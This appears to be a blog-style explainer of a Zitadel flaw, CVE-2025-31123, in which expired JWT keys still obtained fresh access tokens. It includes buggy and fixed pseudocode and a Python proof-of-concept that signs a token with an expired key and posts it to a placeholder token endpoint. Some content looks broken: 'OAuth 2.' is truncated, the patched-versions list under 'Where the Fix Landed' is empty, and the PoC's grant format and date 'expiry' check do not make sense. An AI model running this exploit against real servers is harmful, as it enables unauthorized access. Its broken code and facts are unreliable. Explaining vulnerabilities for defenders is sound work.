Zitadel, the open-source identity infrastructure, has recently patched a critical flaw: CVE-2025-31123. This bug meant attackers could use *expired* JWT keys to claim fresh access tokens — a nightmare for any authentication system. Here’s a plain-English breakdown of what went wrong, how it works under the hood, and what you should do next.
What Is Zitadel?
Zitadel is a powerful, open-source identity and access management platform, similar to Auth or Keycloak, but designed to be developer-friendly and cloud-native. It controls who can log in, uses JWTs (JSON Web Tokens) for authorization, and follows OAuth 2. standards.
The Bug: Expired Keys Still Work
Summary: Zitadel failed to check if a JWT key was expired *when used for Authorization Grants*. This meant that if you got hold of an expired key, Zitadel would *still* hand over valid tokens. Yikes.
What’s safe: The JWT Profile for OAuth 2. Client Authentication on Token and Introspection endpoints *does* check expiry correctly — the bug only impacts Authorization Grants.
Why Does This Matter?
Expired keys should *never* be usable. If an attacker gets an old (expired) private key, they shouldn’t be able to ask Zitadel for new tokens. In this attack, they *could*—defeating the whole point of key rotation or expiration.
Who’s affected?
- Zitadel pre-2.71.6 (fixed in 2.71.6, 2.70.8, 2.69.9, 2.68.9, 2.67.13, 2.66.16, 2.65.7, 2.64.6, and 2.63.9)
A Simple Diagram
sequenceDiagram
actor Attacker
participant Zitadel
Attacker->>Zitadel: Sends expired JWT-signed Authorization Grant
Zitadel->>Attacker: (Pre-fix) Issues fresh valid token 😱
Note over Zitadel: Key expiration not checked here
Vulnerable Code Snippet
*The issue was improper key validation. Here’s a simplified example of the mistake:*
// Old/buggy pseudocode
func ValidateAuthGrant(jwtToken string, key Key) bool {
// Decodes and verifies JWT ...
if verifyJWTSignature(jwtToken, key) {
// THIS SHOULD CHECK IF KEY IS EXPIRED!
return true
}
return false
}
// Attacker uses an expired key: still returns "true"
*It should look like this:*
// Fixed pseudocode
func ValidateAuthGrant(jwtToken string, key Key) bool {
if key.expired() {
return false // Correctly rejects expired keys
}
if verifyJWTSignature(jwtToken, key) {
return true
}
return false
}
Attack steps
1. Sign a JWT using the *expired* key, following Zitadel’s expected format for an Authorization Code Grant.
2. POST this token to Zitadel’s /oauth/v2/token endpoint.
Example (using Python and PyJWT)
import jwt
import requests
from datetime import datetime, timedelta
EXPIRED_PRIVATE_KEY = open('expired_key.pem').read()
CLIENT_ID = "my-app"
ZITADEL_TOKEN_URL = "https://zitadel.example.com/oauth/v2/token";
jwt_payload = {
"sub": CLIENT_ID,
"iss": "my-app",
# any required claims
"exp": int((datetime.utcnow() + timedelta(minutes=5)).timestamp())
}
assert datetime.utcnow() > datetime(2024, 6, 1) # make sure key has expired
token = jwt.encode(jwt_payload, EXPIRED_PRIVATE_KEY, algorithm='RS256')
resp = requests.post(ZITADEL_TOKEN_URL, data={
"grant_type": "authorization_code",
"code": token,
# other required fields
})
print(resp.text) # Should be a valid access token (!)
Where the Fix Landed
According to the Zitadel Security Advisory and Official Changelog, the following versions patched CVE-2025-31123:
Final Thoughts
This bug highlights how even trusted, open-source tools can stumble on the basics: always check that cryptographic keys are still trusted and valid. One small mistake can open the door to massive security risks.
Original References
- ZITADEL Security Advisory
- ZITADEL 2.71.6 Changelog
- Official CVE Record (CVE-2025-31123) *(pending, please check for updates)*
Timeline
Published on: 03/31/2025 20:15:15 UTC
Last modified on: 04/01/2025 20:26:22 UTC